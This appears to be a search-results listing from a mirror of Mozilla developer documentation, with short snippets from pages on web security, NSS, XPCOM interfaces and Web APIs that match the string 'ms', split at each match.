...it also has benefits in ter
ms of maintenance, because you can change the url used to deliver a particular feature in one place, without having to change the handler function.
...And 3 more matches
Website security - Learn web development
while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanis
ms against a number of the more common attacks.
... for example, consider a site search function where the search ter
ms are encoded as url parameters, and these ter
ms are displayed along with the results.
...this sort of attack is extremely popular and powerful, because the attacker might not even have any direct engagement with the victi
ms.
...And 3 more matches
TypeScript support in Svelte - Learn web development
there see
ms to be a broad consensus that typescript is particularly well suited for large-scale projects, with many developers working on the same code base.
...for example, if you start adding an
ms property to the alert component call, typescript will infer from the default value that the
ms property should be a number: and if you pass something that is not a number it will complain about it: the application template has a validate script configured that runs svelte-check against your code.
...(ts) change = (message,
ms) => { ./svelte-todo-typescript/src/components/alert.svelte:11:37 warn: parameter '
ms' implicitly has an 'any' type, but a better type may be inferred from usage.
...And 3 more matches
Package management basics - Learn web development
in your terminal, run the following command: parcel index.html you should see something like this printed to your terminal: server running at http://localhost:1234 ✨ built in 193
ms.
...most build tooling syste
ms will have a "development mode" and a "production mode".
... dist/my-project.fb76efcf.js.map 648.58 kb 64
ms dist/my-project.fb76efcf.js 195.74 kb 8.43s dist/index.html 288 b 806
ms again, the destination for our production files is the dist directory.
...And 3 more matches
Old Thunderbird build
note: parts of the build process also have proble
ms when the source code is in a directory where the path is long (nested many levels deep).
... on linux, this can manifest as proble
ms setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission proble
ms, but because the paths being accessed have been truncated, and so do not exist).
... having the source deep in a filesystem hierarchy can also cause proble
ms with pymake builds on windows.
...And 3 more matches
Limitations of chrome scripts
compatibility shi
ms for many of the patterns described here we've implemented compatibility shi
ms so the patterns still work.
... you'll get the shi
ms for your add-on by default, unless you set the multiprocesscompatible flag in your add-on's install manifest.
... however, these shi
ms are not a substitute for migrating extensions: they are only a temporary measure, and will be removed eventually they can have a bad effect on responsiveness there are likely to be edge cases in which they don't work properly you can see all the places where your add-on uses compatibility shi
ms by setting the dom.ipc.shi
ms.enabledwarnings preference and watching the browser console as you use the add-on.
...And 3 more matches
mozbrowsershowmodalprompt
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property is an anonymous javascript object with the following properties: prompttype a do
mstring defining the type of the prompt.
... title a do
mstring representing the title of the prompt.
...And 3 more matches
Add-on Repository
the api also offers two ways to search for and retrieve an array of addon instances: retrieverecommendedaddons(), which returns a list of recommended add-ons, and searchaddons(), which perfor
ms a search of the repository.
... to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommendedurl() string getsearchurl(in string searchter
ms) void cancelsearch() void retrieverecommendedaddons(in integer maxresults, in searchcallback callback) void searchaddons(in string searchter
ms, in integer maxresults, in searchcallback callback) properties property type description homepageurl string the url of the repository site's home page.
... getsearchurl() returns an url of a web page that can be visited to see search results for the specified search ter
ms.
...And 3 more matches
Extras
the title attribute as a tooltip (from xhtml) html content <p>mouse over either log to see a tooltip showing the title <math display="block"> <mrow> <mrow> <
msub title="base-a log"> <mi>log</mi> <mi>a</mi> </
msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> rather than repeating the instructions, some css might be used to provide a visual cue.
... for example with the style rule: <code style="white-space: nowrap;">*[title] { color: blue; }</code> <math class="cue" display="block"> <mrow> <mrow> <
msub title="base-a log"> <mi>log</mi> <mi>a</mi> </
msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> </p> css content math.cue *[title] { color: blue; } mixing with other markups html content <math display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext> <img width="16" height="16" src="https://udn.realityripple.com/samples/3f/9341cbddc0.png" alt="mozilla-16" /> </mtext> <...
.../mtd> </mtr> <mtr> <mtd> <mtext><input value="type" size="4"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <math display="block"> <
msqrt> <mpadded width="30px" height="15px" depth="15px" voffset="-15px"> <mtext> <svg width="30px" height="30px"> <defs> <radialgradient id="radgrad1" cx="50%" cy="50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(255,255,255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(255,0,0); stop-opacity:.8;"/> </radialgradient> </defs> <g transform="translate(15,15)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="360" to="0" ...
...And 3 more matches
Leak-hunting strategies and tips
tool finds platfor
ms requires leak tools for large object graphs leak gauge windows, documents, and docshells only all platfor
ms any build gc and cc logs js objects, dom objects, many other kinds of objects all platfor
ms any build leak tools for medium-size object graphs bloatview, refcount tracing and balancing objects that implement nsisupports or...
... use moz_count_{ctor,dtor} all tier 1 platfor
ms debug build (or build opt with --enable-logrefcnt) leaksoup (part of tracemalloc) all objects?
... (or allocations?) all tier 1 platfor
ms build with --enable-trace-malloc leak tools for simple objects and summary statistics tracemalloc all allocations all tier 1 platfor
ms build with --enable-trace-malloc valgrind all allocations mac, linux build with --enable-valgrind and some other options lsan all allocations mac, linux any build apple tools ?
...And 3 more matches
Anonymous Shared Memory
on some platfor
ms, no real file backs the shared memory.
... on platfor
ms where the shared memory is backed by a file, the file's name in the filesystem is visible to other processes for only the duration of the creation of the file, hopefully a very short time.
...pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); f
mstring = pr_exportfilemapasstring( fm ); addr = pr_memmap(fm); ...
...And 3 more matches
Introduction to Network Security Services
so the nss library has the following for
ms: libnss3.so - unix shared library libnss3.sl - hp-ux shared library libnss.a - unix static library nss3.dll - windows shared library nss3.lib - windows import library binding to nss3.dll nss.lib - windows static library nss, ssl, and s/mime have all of the above for
ms.
... support for ilp32 in nss 3.2 and later versions, there are two new shared libraries for the platfor
ms hp-ux for parisc cpus and solaris for (ultra)sparc (not x86) cpus.
... these hp and solaris platfor
ms allow progra
ms that use the ilp32 program model to run on both 32-bit cpus and 64-bit cpus.
...And 3 more matches
NSS 3.14.2 release notes
the release is available for download from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_2_rtm/src/ for the primary nss documentation pages please visit /docs/nss new in nss 3.14.2 nss will now make use of the intel aes-ni and avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux syste
ms.
...on red hat enterprise linux 5.x syste
ms, install the binutils220 package and add /usr/libexec/binutils220 to the beginning of your path environment variable.
... new types: in certt.h cert_pi_useonlytrustanchors in secoidt.h sec_oid_
ms_ext_key_usage_ctl_signing notable changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes-gcm was contributed by shay gueron of intel.
...And 3 more matches
NSS Sample Code Sample1
name distiguish the keys in the // shared database in this example server(const char *servername); ~server(); private: int getprivatekey(seckeyprivatekey **prvkey); int getpublickey(seckeypublickey **pubkey); int wrapkey(pk11symkey *key, seckeypublickey *pubkey, secitem **data); // export raw key (unwrapped) do not use int rawexportkey(pk11symkey *key, secitem **data); char *
mservername; // these ite
ms represent data that might be stored // in files or in a configuration file secitem *mwrappedenckey; secitem *mwrappedmackey; // these are the runtime keys as loaded from the files pk11symkey *menckey; pk11symkey *mmackey; }; server::server(const char *servername) :
mservername(0), mwrappedenckey(0), mwrappedmackey(0), menckey(0), mmackey(0) { // copy ...
...the server name
mservername = pl_strdup(servername); } server::~server() { if (
mservername) pl_strfree(
mservername); if (mwrappedenckey) secitem_freeitem(mwrappedenckey, pr_true); if (mwrappedmackey) secitem_freeitem(mwrappedmackey, pr_true); if (menckey) pk11_freesymkey(menckey); if (mmackey) pk11_freesymkey(mmackey); } int server::init() { int rv = 0; seckeyprivatekey *prvkey = 0; seckeypublickey *pubkey = 0; pk11slotinfo *slot = 0; pk11rsagenpara
ms rsapara
ms; secstatus s; // see if there is already a private key with this name.
... rv = getprivatekey(&prvkey); if (rv == 0 && prvkey) goto done; rv = 0; // these could be parameters to the init function rsapara
ms.keysizeinbits = 1024; rsapara
ms.pe = 65537; slot = pk11_getinternalkeyslot(); if (!slot) { rv = 1; goto done; } prvkey = pk11_generatekeypair(slot, ckm_rsa_pkcs_key_pair_gen, &rsapara
ms, &pubkey, pr_true, pr_true, 0); if (!prvkey) { rv = 1; goto done; } // set the nickname on the private key so that it // can be found later.
...And 3 more matches
PKCS #11 Module Specs
nss="nss_para
ms" nss_para
ms are the
mselves name/value pairs, parsed with the same rules described above.
... valid names inside nss_para
ms are: flags - comma separated list of flag values, parsed case-insensitive.
... slotpara
ms - space separated list of name/value pairs where the name is a slotid and the value is a space separated list of parameters related to that slotid.
...And 3 more matches
gtstd.html
ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss progra
ms ssl, pkcs #11, and the default security databases the basic relationships among the nss libraries are described in introduction to network security services.
... before running the sample progra
ms, it's important to understand the relationships between the ssl interface, the pkcs #11 interface, pkcs #11 modules, and the default netscape security databases.
... netscape provides three built-in modules with nss and with server and client products: the default netscape internal pkcs #11 module comes with two built-in tokens: the generic crypto services token perfor
ms all cryptographic operations, such as encryption, decryption, and hashing.
...And 3 more matches
NSS Tools crlutil
availability see the release notes for the platfor
ms this tool is available on.
...list of possible algorith
ms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate.
... crl generation script syntax: crl generation script file has the following syntax: line with comments should have <bold>#</bold> as a first symbol of a line set "this update" or "next update" crl fields: update=yyyymmddhhm
mssz nextupdate=yyyymmddhhm
mssz field "next update" is optional.
...And 3 more matches
Necko walkthrough
nshttpconnectionmgr::postevent creates an nsconnevent with para
ms including the handler function, nshttpconnectionmgr::on
msgnewtransaction, and the recently created nshttptransaction.
...the event queue works around to nshttpconnectionmgr::on
msgnewtransaction (with the nshttptransaction passed as a param - remember the event was posted earlier by initiatetransaction from the main thread).
... nshttpconnectionmgr::on
msgnewtransaction nshttpconnectionmgr::processnewtransaction (notice the check that we're on gsocketthread) gets conn info (i.e.
...And 3 more matches
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, which were the
mselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 17.
... — 25 march 2013 platform support spidermonkey 17 is supported on all the platfor
ms where firefox 17 runs.
...on some other platfor
ms (sparc, mips), the jit is provided but not supported.
...And 3 more matches
SpiderMonkey 31
get it here mozilla-esr31 you will find it in "firefox extended support release 31" package on hg release platform support spidermonkey 31 is supported on all the platfor
ms where firefox 31 runs.
... if you are compiling with microsoft's visual studio, note that the minimum supported version is
msvc10/2010:
msvc8/9 support has been dropped.
...on some other platfor
ms (sparc, mips), the jit is provided but not supported.
...And 3 more matches
WebReplayRoadmap
static type integration (not yet implemented) static type syste
ms like flow and typescript are great and really useful for managing an app's codebase, but they are unsound by design, and it is pretty easy to satisfy the type system and yet have different types in practice.
... media elements (bug 1304146) web audio (bug 1304147) webrtc (bug 1304149) webassembly (bug 1481007) webgl (bug 1506467) support more operating syste
ms (not yet implemented) only macos is supported right now.
... web replay's architecture should allow it to work on any operating system: the os features needed are not specific to macos or to posix syste
ms.
...And 3 more matches
Starting WebLock
getting called at startup no person is an island to hi
mself, and neither are components.
... getting the weblock service from a client at this point, you can install the xpcom component and have other syste
ms use it.
...there are a few reasons for not using strings to represent file locations, but the most important one is that not all file syste
ms can be represented by a series of characters separated by a slash.
...And 3 more matches
IAccessible2
efox 3) method overview [propget] hresult attributes([out] bstr attributes ); [propget] hresult extendedrole([out] bstr extendedrole ); [propget] hresult extendedstates([in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); [propget] hresult groupposition([out] long grouplevel, [out] long similarite
msingroup, [out] long positioningroup ); [propget] hresult indexinparent([out] long indexinparent ); [propget] hresult locale([out] ia2locale locale ); [propget] hresult localizedextendedrole([out] bstr localizedextendedrole ); [propget] hresult localizedextendedstates([in] long maxlocalizedextendedstates, [out, size_is(,maxlocalizedextendedstates), length_is(, nlocalizedextendedstates)] bst...
...used for tree ite
ms, list ite
ms, tab panel labels, radio buttons, and so on.
...[propget] hresult groupposition( [out] long grouplevel, [out] long similarite
msingroup, [out] long positioningroup ); parameters grouplevel 1 based, 0 indicates that this value is not applicable.
...And 3 more matches
nsIDOMMozNetworkStatsManager
in jsval start, in jsval end, [optional] in jsval options /* networkstatsgetoptions */); nsidomdomrequest addalarm(in nsisupports network, in long threshold, [optional] in jsval options /* networkstatsalarmoptions */); nsidomdomrequest getallalar
ms([optional] in nsisupports network); nsidomdomrequest removealar
ms([optional] in long alarmid); nsidomdomrequest clearstats(in nsisupports network); nsidomdomrequest clearallstats(); nsidomdomrequest getavailablenetworks(); nsidomdomrequest getavailableservicetypes(); attributes attribute type description samplerate lo...
... getallalar
ms() obtain all alar
ms for those networks returned by getavailablenetworks.
... if a network is provided, only retrieves the alar
ms for that network.
...And 3 more matches
nsIDOMWindowInternal
void alert(in do
mstring text) boolean confirm(in do
mstring text) do
mstring prompt([optional] in do
mstring amessage, [optional] in do
mstring ainitial, [optional] in do
mstring atitle, [optional] in unsigned long asavepassword) void focus() void blur() void back() void forward() void home() void stop() void print() void moveto(in...
...if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in do
mstring url, in do
mstring name, in do
mstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in do
mstring action) boolean find([optional] in do
mstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean searchinframes, ...
...[optional] in boolean showdialog) do
mstring atob(in do
mstring aasciistring) do
mstring btoa(in do
mstring abase64data) nsivariant showmodaldialog(in nsivariant aargs, [optional] in do
mstring aoptions) void postmessage(in do
mstring message, in do
mstring targetorigin) attributes attribute type description window nsidomwindowinternal readonly: the window object itself.
...And 3 more matches
nsIDOMWindowUtils
crolly); astring getvisiteddependentcomputedstyle(in nsidomelement aelement, in astring apseudoelement, in astring apropertyname); boolean isinmodalstate(); void leavemodalstate(); void loadsheet(in nsiuri sheeturi, in unsigned long type); nsidomnodelist nodesfromrect(in float ax, in float ay, in float atopsize, in float arightsize, in float abotto
msize, in float aleftsize, in boolean aignorerootscrollframe, in boolean aflushlayout); void processupdates(); obsolete since gecko 13.0 void purgepccounts(); unsigned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32 aflags, in nscolor abackgroundcolor, in gfxcontext athebescontext); native code only!
...when this is set, the aoffset and alength are offset and length in/of the content generated with xp line breaks (i.e., "\n" on all platfor
ms).
...when this is set, the aoffset and alength are offset and length in/of the content generated with xp line breaks (i.e., "\n" on all platfor
ms).
...And 3 more matches
nsIDOMXULLabeledControlElement
inherits from: nsidomxulcontrolelement last changed in gecko 1.7 attributes attribute type description accesskey do
mstring this should be set to a character that is used as a shortcut key.
...on non-macintosh platfor
ms, the character on the element's label matching the access key is underlined.
... command do
mstring this property reflects the element's command attribute.
...And 3 more matches
nsIDocShell
method overview void addsessionstorage(in nsiprincipal principal, in nsido
mstorage storage); void addstate(in nsivariant adata, in do
mstring atitle, in do
mstring aurl, in boolean areplace); void beginrestore(in nsicontentviewer viewer, in boolean top); void createaboutblankcontentviewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loadinfo); void detacheditorfromwindow(); violates the xpcom inter...
...obsolete since gecko 1.8 nsisimpleenumerator getdocshellenumerator(in long aitemtype, in long adirection); nsido
mstorage getsessionstorageforprincipal(in nsiprincipal principal, in do
mstring documenturi, in boolean create); nsido
mstorage getsessionstorageforuri(in nsiuri uri, in do
mstring documenturi); void historypurged(in long numentries); void internalload(in nsiuri auri, in nsiuri areferrer, in nsisupports aowner, in pruint32 aflags, in wstring awindowtarget, in string atypehint, in nsiinputstream apostdatastream, in nsiinputstream aheadersstream, in unsign...
...void addsessionstorage( in nsiprincipal principal, in nsido
mstorage storage ); parameters principal the principal to use for the new storage object.
...And 3 more matches
nsIJSON
jsobject decodefro
mstream(in nsiinputstream stream, in long contentlength); astring encode(in jsobject value); obsolete since gecko 7.0 astring encodefromjsval(in jsvaljsval value, in jscontext cx); native code only!
... void encodetostream(in nsioutputstream stream, in string charset, in boolean writebom, in jsobject value); jsval legacydecode(in astring str); deprecated since gecko 2.0 jsval legacydecodefro
mstream(in astring str); deprecated since gecko 2.0 jsval legacydecodetojsval(in astring str, in jscontext cx); native code only!
... decodefro
mstream() decodes a json string read from an input stream, returning the javascript object it represents.
...And 3 more matches
nsITransactionManager
atransaction); void endbatch(); nsitransactionlist getredolist(); nsitransactionlist getundolist(); nsitransaction peekredostack(); nsitransaction peekundostack(); void redotransaction(); void removelistener(in nsitransactionlistener alistener); void undotransaction(); attributes attribute type description maxtransactioncount long sets the maximum number of transaction ite
ms the transaction manager will maintain at any time.
...this method will prune the necessary number of transactions on the undo and redo stacks if the value specified is less than the number of ite
ms that exist on both the undo and redo stacks.
... numberofredoite
ms long the number of ite
ms on the redo stack.
...And 3 more matches
nsIWebSocketListener
1.0 66 introduced gecko 8.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void onacknowledge(in nsisupports acontext, in pruint32 asize); void onbinarymessageavailable(in nsisupports acontext, in acstring a
msg); void onmessageavailable(in nsisupports acontext, in autf8string a
msg); void onserverclose(in nsisupports acontext, in unsigned short acode, in autf8string areason); void onstart(in nsisupports acontext); void onstop(in nsisupports acontext, in nsresult astatuscode); methods onacknowledge() called to acknowledge a message sent via nsiwebsocketchannel.se...
...nd
msg() or nsiwebsocketchannel.sendbinary
msg().
...void onbinarymessageavailable( in nsisupports acontext, in acstring a
msg ); parameters acontext user defined context.
...And 3 more matches
nsIXSLTProcessor
to create an instance, use: var xsltprocessor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); method overview void clearparameters(); nsivariant getparameter(in do
mstring namespaceuri, in do
mstring localname); void importstylesheet(in nsidomnode style); void removeparameter(in do
mstring namespaceuri, in do
mstring localname); void reset(); void setparameter(in do
mstring namespaceuri, in do
mstring localname, in nsivariant value); nsidomdocument transformtodocument(in nsidomnode source); nsidomdocumentfragment transformtofragment(in nsidomnode source...
...nsivariant getparameter( in do
mstring namespaceuri, in do
mstring localname ); parameters namespaceuri the namespaceuri of the xslt parameter.
...void removeparameter( in do
mstring namespaceuri, in do
mstring localname ); parameters namespaceuri the namespaceuri of the xslt parameter.
...And 3 more matches
Performance
as of april 10, 2006, mozilla uses sqlite 3.3.4, but the latest precompiled version of the command line tools is not available for all platfor
ms.
...you may want to check the sqlite_version definition in db/sqlite3/src/sqlite3.h for the current version if you are having proble
ms.
...some ite
ms in databases are privacy sensitive, such as deleted history ite
ms.
...And 3 more matches
Folders and message lists
getting the current nsi
msgfolder the nsi
msgfolder interface contains many methods and attributes for working with folders.
... to get the nsi
msgfolder instance for the currently-displayed folder, just use gfolderdisplay.displayedfolder.
... gfolderdisplay.selectedmessages: returns an array of nsi
msgdbhdrs for the selected messages.
...And 3 more matches
Zombie compartments
any compartments with the following for
ms are created by firefox for its own internal use, and can usually be ignored when looking for zombie compartments.
... js-compartment([system principal], 0x7f10f1250000) compartment(ato
ms) js-compartment(about:home) js-compartment(about:blank) compartment([system principal], resource://gre/modules/addons/xpiprovider.jsm) when looking at user compartments there are a couple of things to be aware of.
... if you're confident you've found a zombie compartment, please file a bug that includes all the information you've gathered, add “[me
mshrink]” to its whiteboard, and mark it as blocking bug 668871.
...And 3 more matches
Add to iPhoto
cfrange cfrange is a structure that identifies a range; that is, it identifies an offset to an item in a list and a number of ite
ms.
... however, obviously there are cases in which you'll want to be able to manipulate the contents of an array by adding and removing ite
ms, sorting them, and so forth.
..., 1, corefoundation.kcftypearraycallbacks.address()); if (mutablearray) { var url = corefoundation.cfurlcreatefromfilesystemrepresentation(null, filepath, filepath.length, false); corefoundation.cfarrayappendvalue(mutablearray, url); corefoundation.cfrelease(url); // call launch services to open iphoto and deliver the image var ref = new carbon.struct_fsref; var apppara
ms = appservices.struct_lsapplicationparameters(0, 1, ref.address(), null, null, null, null); var appstr = "file:///applications/iphoto.app"; var appstrcf = corefoundation.cfstringcreatewithcharacters(null, appstr, appstr.length); var appurl = corefoundation.cfurlcreatewithstring(null, appstrcf, null); corefoundation.cfrelease(appstrcf); var b = corefoundation.cfurlgetfsref(appu...
...And 3 more matches
Using js-ctypes
note: this information comes from this article on
msdn.
... components.utils.import("resource://gre/modules/ctypes.jsm"); var lib = ctypes.open("c:\\windows\\system32\\user32.dll"); /* declare the signature of the function we are going to call */ var
msgbox = lib.declare("messageboxw", ctypes.winapi_abi, ctypes.int32_t, ctypes.int32_t, ctypes.jschar.ptr, ctypes.jschar.ptr, ctypes.int32_t); var mb_ok = 0; var ret =
msgbox(0, "hello world", "title", mb_ok); lib.close(); in line 3, the user32.dll s...
...line 6 declares
msgbox() to be a method that calls the windows function messageboxw.
...And 3 more matches
Intensive JavaScript - Firefox Developer Tools
you can use the frame rate and waterfall tools to see when javascript is causing performance proble
ms, and to single out the particular functions that need attention.
... in this article we'll take an example site whose long-running javascript causes responsiveness proble
ms, and apply two different approaches to fixing them.
... we can select one of these periods and have a closer look at it in the main waterfall view: here, when we pressed the button, the browser ran a javascript function, or series of functions, that blocked the main thread for 71.73
ms, or more than four times our frame budget.
...And 3 more matches
CharacterData - Web APIs
characterdata.data is a do
mstring representing the textual data contained in this object.
... characterdata.appenddata() appends the given do
mstring to the characterdata.data string; when this method returns, data contains the concatenated do
mstring.
... characterdata.deletedata() removes the specified amount of characters, starting at the specified offset, from the characterdata.data string; when this method returns, data contains the shortened do
mstring.
...And 3 more matches
ChildNode - Web APIs
childnode.before() inserts a set of node or do
mstring objects in the children list of this childnode's parent, just before this childnode.
... do
mstring objects are inserted as equivalent text nodes.
... childnode.after() inserts a set of node or do
mstring objects in the children list of this childnode's parent, just after this childnode.
...And 3 more matches
FederatedCredential - Web APIs
federatedcredential.protocol read only returns a do
mstring containing a credential's federated identity protocol.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfederatedcredential experimentalchrome full support 51edge full support ≤79firefox ?
... sa
msung internet android full support 5.0federatedcredential() constructor non-standardchrome full support 51edge full support ≤79firefox ?
...And 3 more matches
FileSystem - Web APIs
some browsers offer additional apis to create and manage file syste
ms, such as chrome's requestfilesystem() method.
...this name is unique among the entire list of exposed file syste
ms.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilesystemchrome full support 7alternate name full support 7alternate name alternate name uses the non-standard name: domfilesystemedge full support ≤18prefixed notes full support ≤18prefixed notes pref...
...And 3 more matches
FileSystemDirectoryEntry - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilesystemdirectoryentry experimentalchrome full support 8alternate name full support 8alternate name alternate name uses the non-standard name: directoryentryedge full support 79prefixed full support 79pre...
... 18alternate name full support 18alternate name alternate name uses the non-standard name: directoryentryfirefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcreatereader experimentalchrome full support 13edge full support 79firefox full s...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yesgetdirectory experimentalchrome full support 8edge full support 79firefox full support 50notes full support 50notes notes in firefox, the...
...And 3 more matches
GestureEvent - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgestureevent non-standardchrome no support noedge no support nofirefox no support noie no support noopera no support nosafari full support ...
... 9webview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios full support 2sa
msung internet android no support nogestureevent() constructor non-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...port 9webview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios full support 2sa
msung internet android no support noinitgestureevent non-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...And 3 more matches
HTMLBodyElement - Web APIs
htmlbodyelement.alink is a do
mstring that represents the color of active hyperlinks.
... htmlbodyelement.background is a do
mstring that represents the description of the location of the background image resource.
... htmlbodyelement.bgcolor is a do
mstring that represents the background color for the document.
...And 3 more matches
HTMLEmbedElement - Web APIs
htmlembedelement.align is a do
mstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context.
... htmlembedelement.height is a do
mstring reflecting the height html attribute, containing the displayed height of the resource.
... htmlembedelement.name is a do
mstring representing the name of the embedded object.
...And 3 more matches
HTMLInputElement.webkitdirectory - Web APIs
when a directory is selected, the directory and its entire hierarchy of contents are included in the set of selected ite
ms.
...for example, consider this file system: photoalbu
ms birthdays jamie's 1st birthday pic1000.jpg pic1004.jpg pic1044.jpg don's 40th birthday pic2343.jpg pic2344.jpg pic2355.jpg pic2356.jpg vacations mars pic5533.jpg pic5534.jpg pic5556.jpg pic5684.jpg pic5712.jpg ...
... if the user chooses photoalbu
ms, then the list reported by files will contain file objects for every file listed above—but not the directories.
...And 3 more matches
HTMLKeygenElement - Web APIs
challenge is a do
mstring that reflects the challenge html attribute, containing a challenge string that is packaged with the submitted key.
... keytype is a do
mstring that reflects the keytype html attribute, containing the type of key used.
... name is a do
mstring that reflects the name html attribute, containing the name for the control that is submitted with form data.
...And 3 more matches
Drag Operations - Web APIs
the drag data's types property returns a list of mime-type like do
mstrings, such as text/plain or image/jpeg.
... a drag may include data ite
ms of several different types.
... by providing data in other types as well, we can also support drags to other applications in less specific for
ms.
...And 3 more matches
Basic concepts - Web APIs
to learn more about indexeddb ter
ms, see the definitions section.
...if you are not familiar with object-oriented database management syste
ms, read the wikipedia article on object database.
...if you are not familiar with nosql syste
ms, read the wikipedia article on nosql.
...And 3 more matches
Intersection Observer API - Web APIs
since all this code runs on the main thread, even one of these can cause performance proble
ms.
... intersection observer options the options object passed into the intersectionobserver() constructor let you control the circu
mstances under which the observer's callback is invoked.
... #box { background-color: rgba(40, 40, 190, 255); border: 4px solid rgb(20, 20, 120); transition: background-color 1s, border 1s; width: 350px; height: 350px; display: flex; align-ite
ms: center; justify-content: center; padding: 20px; } .vertical { color: white; font: 32px "arial"; } .extra { width: 350px; height: 350px; margin-top: 10px; border: 4px solid rgb(20, 20, 120); text-align: center; padding: 20px; } javascript finally, let's take a look at the javascript code that uses the intersection observer api to make things happen.
...And 3 more matches
KeyboardEvent - Web APIs
keyboardevent.code read only returns a do
mstring with the code value of the physical key represented by the event.
... keyboardevent.key read only returns a do
mstring representing the key value of the key represented by the event.
... keyboardevent.locale read only returns a do
mstring representing a locale string indicating the locale the keyboard is configured for.
...And 3 more matches
MediaTrackSettings - Web APIs
properties of all media tracks deviceid a do
mstring indicating the current value of the deviceid property.
... groupid a do
mstring indicating the current value of the groupid property.
... facingmode a do
mstring indicating the current value of the facingmode property, specifying the direction the camera is facing.
...And 3 more matches
Transcoding assets for Media Source Extensions - Web APIs
[0] (c) copyright 2008, blender foundation / www.bigbuckbunny.org / https://peach.blender.org/about/ tools required when working with
mse, the following tools are a must have: ffmpeg — a command-line utility for transcoding your media into the required formats.
... container and codec support as specified in section 1.1 of the
mse spec: goals,
mse is designed not to require support for any particular media format or codec.
...without proper fragmentation, any given mp4 file is not guaranteed to work with
mse.
...And 3 more matches
NavigationPreloadManager - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnavigationpreloadmanager experimentalchrome full support 62edge full support 18firefox no support nonotes no support nonotes notes implementation tracked in bug 1290958ie ?
... sa
msung internet android full support 8.0disable experimentalchrome full support 62edge full support 18firefox no support nonotes no support nonotes notes implementation tracked ...
... sa
msung internet android full support 8.0enable experimentalchrome full support 62edge full support 18firefox no support nonotes no support nonotes notes implementation tracked i...
...And 3 more matches
PhotoCapabilities - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetphotocapabilities experimentalchrome full support 59edge full support ≤79firefox ?
... sa
msung internet android full support 7.0filllightmode experimentalchrome full support 59edge full support ≤79firefox ?
... sa
msung internet android full support 7.0imageheight experimentalchrome full support 59edge full support ≤79firefox ?
...And 3 more matches
PushRegistrationManager - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpushregistrationmanager experimentaldeprecatedchrome no support noedge no support nofirefox ?
... sa
msung internet android no support nogetregistration experimentaldeprecatedchrome no support noedge no support nofirefox ?
... sa
msung internet android no support nohaspermission experimentaldeprecatedchrome no support noedge no support nofirefox ?
...And 3 more matches
RTCConfiguration - Web APIs
although only one certificate is used by a given connection, providing certificates for multiple algorith
ms may improve the odds of successfully connecting in some circu
mstances.
